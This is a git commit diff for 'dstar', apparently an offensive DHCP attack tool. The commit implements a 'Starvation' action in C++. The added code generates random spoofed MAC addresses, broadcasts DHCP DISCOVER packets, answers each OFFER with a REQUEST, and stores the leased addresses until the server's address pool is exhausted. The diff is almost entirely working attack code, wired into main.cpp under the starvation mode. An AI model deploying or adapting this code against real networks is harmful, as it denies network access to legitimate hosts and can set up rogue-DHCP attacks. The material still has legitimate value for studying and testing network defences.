Implemented action starvation

Author: jacopodl

CMakeLists.txt

@@ -27,7 +27,7 @@ link_directories("${source_dir}/bin/")
 include_directories(include)
 set(EXECUTABLE_OUTPUT_PATH "${PROJECT_SOURCE_DIR}/bin")
 
-add_executable(dstar src/main.cpp src/Core.cpp src/actions/Flood.cpp)
+add_executable(dstar src/main.cpp src/Core.cpp src/actions/Flood.cpp src/actions/Starvation.cpp)
 add_dependencies(dstar ${DEP_ARGSX})
 add_dependencies(dstar ${DEP_SPARK})
 target_link_libraries(dstar pthread)

include/Core.h

@@ -18,21 +18,27 @@
 #define DSTAR_CORE_H
 
 #include <thread>
+#include <mutex>
 #include <list>
 #include <string>
 #include <spark.h>
 
 #include <PacketInfo.h>
 #include <DhcpAction.h>
+#include <DhcpSlot.h>
 
 #define SOCK_BUFSIZE 2048
 
 class DhcpAction;
 
 class Core {
 private:
- std::thread thActions;
  std::list<DhcpAction *> actions;
+ std::list<DhcpSlot *> freeSlots;
+ std::list<DhcpSlot *> assignedSlots;
+ std::mutex fsMutex;
+ std::mutex asMutex;
+ std::thread thActions;
  SpkSock *sock;
  unsigned char *buf;
 
@@ -48,6 +54,8 @@ class Core {
  int sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktInfo);
 
  void registerAction(DhcpAction *action);
+
+ void addToFreeSlot(DhcpSlot *slot);
 };
 
 

include/DhcpSlot.h

@@ -0,0 +1,13 @@
+#ifndef DSTAR_DHCPSLOT_H
+#define DSTAR_DHCPSLOT_H
+
+struct DhcpSlot {
+ netaddr_ip clientIp;
+ netaddr_mac clientMac;
+ netaddr_ip serverIp;
+ netaddr_mac serverMac;
+ int lease;
+ timeval timeStamp;
+};
+
+#endif //DSTAR_DHCPSLOT_H

include/actions/Starvation.h

@@ -0,0 +1,22 @@
+#ifndef DSTAR_STARVATION_H
+#define DSTAR_STARVATION_H
+
+#include <DhcpAction.h>
+
+class Starvation : public virtual DhcpAction {
+private:
+ pthread_mutex_t mutex;
+ pthread_cond_t cond;
+ unsigned int lastXid = 0;
+public:
+ Starvation();
+
+ ~Starvation();
+
+ void action(Core *core) override;
+
+ void recvDhcpMsg(Core *core, PacketInfo *pktInfo, DhcpPacket *dhcp) override;
+};
+
+
+#endif //DSTAR_STARVATION_H

src/Core.cpp

@@ -21,10 +21,9 @@
 #include "Core.h"
 
 void Core::executeActions() {
- while (!this->stop) {
+ while (!this->stop)
  for (auto action:this->actions)
  action->action(this);
- }
 }
 
 void Core::recvDhcp() {
@@ -133,4 +132,10 @@ void Core::openSocket(const std::string &interface) {
 
 void Core::registerAction(DhcpAction *action) {
  this->actions.push_front(action);
+}
+
+void Core::addToFreeSlot(DhcpSlot *slot) {
+ this->fsMutex.lock();
+ this->freeSlots.push_front(slot);
+ this->fsMutex.unlock();
 }

src/actions/Starvation.cpp

@@ -0,0 +1,95 @@
+#include <iostream>
+#include <cstring>
+#include <sys/time.h>
+
+#include <actions/Starvation.h>
+
+Starvation::Starvation() {
+ pthread_mutex_init(&this->mutex, nullptr);
+ pthread_cond_init(&this->cond, nullptr);
+}
+
+Starvation::~Starvation() {
+ pthread_mutex_destroy(&this->mutex);
+ pthread_cond_destroy(&this->cond);
+}
+
+void Starvation::action(Core *core) {
+ DhcpPacket dhcpPacket{};
+ PacketInfo pktInfo{};
+ timespec maxWaitCond{};
+ netaddr_mac(req);
+ int err;
+
+ pthread_mutex_lock(&this->mutex);
+
+ while (this->lastXid != 0) {
+ timespec_get(&maxWaitCond, TIMER_ABSTIME);
+ maxWaitCond.tv_sec += 10;
+ if (pthread_cond_timedwait(&this->cond, &this->mutex, &maxWaitCond) == ETIMEDOUT)
+ this->lastXid = 0;
+ }
+
+ eth_rndaddr(&req);
+ eth_bcast(&pktInfo.phisAddr);
+ pktInfo.ipDst.ip = 0xFFFFFFFF;
+ pktInfo.toServer = true;
+
+ dhcp_inject_discovery((unsigned char *) &dhcpPacket, &req, nullptr, DHCP_FLAGS_BROADCAST);
+ if ((err = core->sendDhcpMsg(&dhcpPacket, DHCPPKTSIZE, &pktInfo)) < 0) {
+ std::cerr << "Starvation action: " << spark_strerror(err) << std::endl;
+ core->stop = true;
+ }
+ lastXid = dhcpPacket.xid;
+ pthread_mutex_unlock(&this->mutex);
+}
+
+void Starvation::recvDhcpMsg(Core *core, PacketInfo *pktInfo, DhcpPacket *dhcp) {
+ DhcpPacket packet{};
+ DhcpSlot *slot;
+ netaddr_mac(chaddr);
+ netaddr_ip(ipReq);
+ netaddr_ip(serverIp);
+ int err;
+
+ pthread_mutex_lock(&this->mutex);
+
+ if (dhcp->xid != this->lastXid)
+ return;
+
+ memcpy(chaddr.mac, dhcp->chaddr, ETHHWASIZE);
+ ipReq.ip = dhcp->yiaddr;
+ serverIp.ip = dhcp->siaddr;
+
+ if (dhcp_type_equals(dhcp, DHCP_OFFER)) {
+ dhcp_inject_request((unsigned char *) &packet, &chaddr, &ipReq, this->lastXid, &serverIp, DHCP_FLAGS_BROADCAST);
+ pktInfo->ipSrc.ip = ipReq.ip;
+ pktInfo->ipDst.ip = serverIp.ip;
+ pktInfo->toServer = true;
+ if ((err = core->sendDhcpMsg(&packet, DHCPPKTSIZE, pktInfo)) < 0) {
+ std::cerr << "Starvation action(request): " << spark_strerror(err) << std::endl;
+ core->stop = true;
+ }
+
+ } else if (dhcp_type_equals(dhcp, DHCP_ACK)) {
+ slot = new DhcpSlot;
+ slot->clientIp.ip = ipReq.ip;
+ memcpy(slot->clientMac.mac, dhcp->chaddr, ETHHWASIZE);
+ slot->serverIp.ip = serverIp.ip;
+ slot->serverMac = pktInfo->phisAddr;
+ gettimeofday(&slot->timeStamp, nullptr);
+ slot->lease = ntohl(dhcp_get_option_uint(dhcp, DHCP_ADDR_LEASE_TIME));
+
+ printf("Ip: %s mac: %s\n", ip_getstr(&slot->clientIp, true), eth_getstr(&slot->clientMac, true));
+ printf("Ip: %s mac: %s\n", ip_getstr(&slot->serverIp, true), eth_getstr(&slot->serverMac, true));
+ printf("lease: %d\n", slot->lease);
+
+ core->addToFreeSlot(slot);
+
+ this->lastXid = 0;
+ pthread_cond_signal(&this->cond);
+ } else if (dhcp_type_equals(dhcp, DHCP_NAK)) {
+
+ }
+ pthread_mutex_unlock(&this->mutex);
+}

src/main.cpp

@@ -19,6 +19,7 @@
 
 #include <dstar.h>
 #include <actions/Flood.h>
+#include <actions/Starvation.h>
 
 using namespace std;
 
@@ -76,7 +77,7 @@ int main(int argc, char **argv) {
  } else if (options.mode & ATKMODE_RELEASE) {
 
  } else if (options.mode & ATKMODE_STARVATION) {
-
+ core.registerAction(new Starvation());
  }
 
  core.openSocket(options.iface);